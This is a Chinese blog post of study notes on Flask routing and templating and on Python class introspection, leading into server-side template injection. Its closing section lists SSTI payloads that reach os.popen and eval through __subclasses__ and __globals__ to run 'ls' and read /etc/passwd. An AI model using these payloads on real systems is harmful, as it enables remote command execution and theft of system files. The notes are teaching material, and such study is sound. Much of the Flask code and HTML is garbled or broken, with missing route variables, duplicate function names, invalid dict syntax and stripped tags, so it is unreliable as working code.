学习flask的ssti模板注入的一些前置知识的笔记

flask是一个使用python编写的轻量级web应用框架

python可以直接用flask启动一个web服务页面

cd /opt/flask1
source ./bin/activate
cd /root
vim demo.py
python3 demo.py

其中demo.py文件:

from flask import Flask     #启动flask模块,创建一个Flask类
app = Flask(__name__)       #__name__是系统变量,指的是本py文件的文件名

#路由:基于浏览器输入的字符串寻址
@app.route('/world')             
def hello():
    return "hello world"
@app.route('/man')             
def hello():
    return "hello man"

#只能被python直接运行,而不能被作为组件或模块被调用
if __name__=='__main__': 
    app.run(debug=True,host="0.0.0.0",port=8081)      #改完配置自动生效
    #debug建议只能在学习中开启  host="0.0.0.0"监听所有的物理接口

flask变量规则

通过向规则参数添加变量部分,可以动态构建URL

from flask import Flask
app = Flask(__name__)

@app.route('/hello/')
def hello(name):
    return "hello %s" % name
@app.route('int/')
def hello(ID):
    return "hello %d" % ID

if __name__=='__main__':
    app.run(debug=True)

flask HTTP方法

在python demo.py中插入路由:

@app.route('/login',methods=['POST','GET'])
def login():
    if request.method == 'POST':
        print(1)
        user = request.form['ben']
        return redirect(url_for('success',name = user))     #redirect重定向
    else:
        print(2)
        user = request.args.get('ben')
        return redirect(url_for('success',name = user))

flask模板

视图函数:主要作用是生成请求的相应

把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本

使用模板:使用静态的页面html展示动态的内容

模板是一个响应文本的文件,其中使用占位符(变量)表示动态部分。
代码结构清晰,耦合度低

· 处理业务逻辑:视图函数只负责业务逻辑和数据处理
· 返回相应内容:模板取到视图函数的数据结果来进行展示

render_template

加载html文件,默认文件路径在templates目录下。

from flask import Flask,render_template
app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

if __name__ == '__main__':
    app.run()

在templates目录下创建index.html文件

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Titletitle>
head>
<body>
    模板html展示页面
<br>
    {{my_str}}
body>
html>

两者结合:

from flask import Flask,render_template
app = Flask(__name__)
@app.route('/')
def index():
    my_str = 'Hello world'
    my_int = 12
    my_array = [5,2,0,1,3,1,4]
    my_duct = {
        'name' = 'dazhuang',
        'age':18
    }
    return render_template("index.html",
    my_str=my_str,
    my_int=my_int,
    my_arry=my_array,
    my_dict=my_dict
    )
if __name__ == '__main__':
    app.run()

render_template_string

用于渲染字符串,直接定义内容

from flask import Flask,render_template
app = Flask(__name__)
@app.route('/')
def index():
    my_str = 'Hello world'
    my_int = 12
    my_array = [5,2,0,1,3,1,4]
    my_duct = {
        'name' = 'nannan',
        'age':18
    }
    return render_template_string('Title模板html展示页面
%d
%s'
% (my_int,my_str)) if __name__ == '__main__': app.run()

python中的继承关系

父类和子类(子类调用父类下的其他子类)
~python flask脚本没有办法直接执行python指令
object是父子关系的顶端,所有数据类型最终的父类都是object

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = c()

print(c.__class__)                              #  当前类C
print(c.__class__.__base__)                     #  当前类的父类B
print(c.__class__.__base__.__base__)            # 
print(c.__class__.__base__.__base__.__base__)   # 
print(c.__class__.__mro__)                      # 上面四个层层递进一起输出
print(c.__class__.__base__.__subclasses__())    # B下的所有子类(数组形式)
print(c.__class__.__base__.__subclasses__()[1]) #调用子类D
魔术方法
__class__           #查找当前类型的所属对象
__base__            #沿着父子类的关系往上走一个
__mro__             #查找当前类对象的所有继承类
__subclasses__()    #查找父类下的所有子类

简单的payload(注意类型)

{{''.__class__.__base__.__subclasses__()}}
{{"".__class__.__base__.__subclasses__()}}    #str类型
{{[].__class__.__base__.__subclasses__()}}    #list类型
{{().__class__.__base__.__subclasses__()}}    #元组类型

然后,寻找一些关键的模块

{{''.__class__.__base__.__subclasses__()}}
#例如:os.wrap_close       #找到对应的列数
{{''.__class__.__base__.__subclasses__()[117]}}
{{''.__class__.__base__.__subclasses__()[117].__init__}}
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
# __builtins__提供对python的所有"内置"标识符的直接访问
# eval()计算字符串表达式的值
# popen()执行一个shell以运行命令来开启一个进程
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
#这里也可以直接调用

后续的ssti模板注入学习笔记:https://blog.csdn.net/m0_73559432/article/details/130173574?spm=1001.2014.3001.5502

你可能感兴趣的:(网络安全学习笔记,flask,python,学习,网络安全,web安全)